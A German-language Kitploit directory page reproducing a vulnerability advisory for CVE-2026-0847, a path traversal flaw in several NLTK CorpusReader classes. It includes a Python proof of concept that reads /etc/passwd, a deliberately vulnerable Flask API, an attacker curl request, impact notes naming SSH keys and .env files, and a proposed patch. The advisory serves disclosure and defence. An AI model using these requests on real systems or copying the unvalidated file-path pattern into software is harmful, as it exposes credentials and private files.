Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-0847 — Eine Schwachstelle in NLTK-Versionen bis einschließlich 3.9.2 ermöglicht das beliebige Lesen von Dateien über Path Traversal in mehreren CorpusReader-Klassen, einschließlich WordListCorpusReader, TaggedCorpusReader und BracketParseCorpusReader. | Kitploit
Tools/GitHubGitHub/hyperps/cve-2026-0847
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubhyperps/cve-2026-0847

CVE-2026-0847

Eine Schwachstelle in NLTK-Versionen bis einschließlich 3.9.2 ermöglicht das beliebige Lesen von Dateien über Path Traversal in mehreren CorpusReader-Klassen, einschließlich WordListCorpusReader, TaggedCorpusReader und BracketParseCorpusReader.

Repository anzeigen
15vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-0847 — Mehrere CorpusReader-Klassen in NLTK: Beliebiges Lesen von Dateien per Path Traversal


Übersicht

FeldDetails
CVE-IDCVE-2026-0847
Paketnltk (Natural Language Toolkit)
RegistryPyPI
Betroffene Versionen<= 3.9.2
SchwachstellentypCWE-22: Path Traversal
CVSS-Score8.6 (Hoch)
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
Auswirkung auf VertraulichkeitHoch
Auswirkung auf IntegritätNiedrig
Auswirkung auf VerfügbarkeitNiedrig
Gemeldet am4. Dezember 2025
CVE veröffentlicht4. März 2026
Unterstützt vonPalo Alto Networks / Prisma AIRS
StatusBehoben

Beschreibung

Mehrere CorpusReader-Klassen in der NLTK-Bibliothek akzeptieren Dateipfad-Argumente, ohne eine Pfad-Kanonisierung, Allowlist-Validierung oder Sandbox-Einschränkungen anzuwenden. Wenn ein Angreifer den Korpus-Dateinamen oder die Dateieingabe kontrolliert – ein häufiges Szenario in Machine-Learning-APIs, upload-basierten NLP-Pipelines und Chatbot-Diensten – kann er einen manipulierten Pfad angeben, um die Verzeichnishierarchie zu durchlaufen und beliebige Dateien auf dem Server zu lesen.

Diese Schwachstelle ist besonders kritisch in vernetzten Bereitstellungen, in denen NLTK benutzerkontrollierte Dateipfade verarbeitet, da für ihre Ausnutzung keine Authentifizierung oder Privilegien erforderlich sind.


Betroffene Komponenten

KlasseDateiStatus
WordListCorpusReaderwordlist.py L1–L120Verwundbar
TaggedCorpusReadertagged.py L1–L140Verwundbar
BracketParseCorpusReaderbracket_parse.py L1–L150Verwundbar
Andere Klassen, die dasselbe Basis-Muster verwenden—Umfassendere Prüfung ausstehend

Alle drei Klassen erben dieselbe unsichere CorpusReader.open()-Methode, die vor der Auflösung und dem Lesen der übergebenen Dateikennung keinerlei Pfadbeschränkungen durchführt.


Auswirkungen

Eine erfolgreiche Ausnutzung dieser Schwachstelle kann Folgendes zur Folge haben:

  • Beliebiges Lesen von Dateien — Ein Angreifer kann jede Datei lesen, auf die der Prozess, der NLTK ausführt, Zugriff hat, einschließlich /etc/passwd, /etc/shadow und /var/log/auth.log
  • Offenlegung von Zugangsdaten und Geheimnissen — Private SSH-Schlüssel (~/.ssh/id_rsa), .env-Dateien, API-Tokens und Cloud-Zugangsdaten-Dateien können extrahiert werden
  • Offenlegung von Quellcode und Trainingsdaten — Trainingsdaten anderer Benutzer oder proprietärer Anwendungsquellcode können gelesen werden
  • Remote Code Execution (verkettet) — In Kombination mit Pickle-Deserialisierungsschwachstellen kann Path Traversal genutzt werden, um schädliche Modelldateien zu laden und zu vollständiger RCE zu eskalieren
  • Laterale Bewegung — In Mikroservice-Umgebungen wurde beobachtet, dass extrahierte Geheimnisse laterale Bewegung und die vollständige Kompromittierung des Servers ermöglichen

Proof of Concept

Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie keine Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

Lokales Lesen von Dateien über die direkte API

# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

Ausgabe (gekürzt):

--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

Remote-Exploit-Szenario — Verwundbare Flask-API

Ein realistisches Szenario, in dem NLTK über eine HTTP-API bereitgestellt wird:

# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

Angreifer-Anfrage:

curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

Ergebnis: Der vollständige Inhalt von /etc/passwd wird ohne erforderliche Authentifizierung an den Angreifer zurückgegeben.


Grundursache

Die Schwachstelle hat ihren Ursprung in CorpusReader.open(). Die Methode löst die übergebene fileid mithilfe von FileSystemPathPointer.join() direkt gegen den konfigurierten Stammpfad auf, ohne dabei eine der folgenden Prüfungen durchzuführen:

  • Ablehnung absoluter Pfade
  • Erkennung von Verzeichnis-Traversierung zum Elternverzeichnis (..)
  • Pfadnormalisierung und -vergleich, um die Beschränkung auf den Korpus-Stammordner durchzusetzen

Da FileSystemPathPointer mit / initialisiert werden kann, hat ein Angreifer, der das Dateinamen-Argument kontrolliert, uneingeschränkten Lesezugriff auf das gesamte Dateisystem.


Vorgeschlagener Patch

Minimaler, vom Forscher vorgeschlagener Fix, der innerhalb von CorpusReader.open() angewendet werden soll:

import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

Der Upstream-Fix-PR ist verfügbar unter: https://github.com/nltk/nltk/pull/3479


Behebung

Tool herunterladen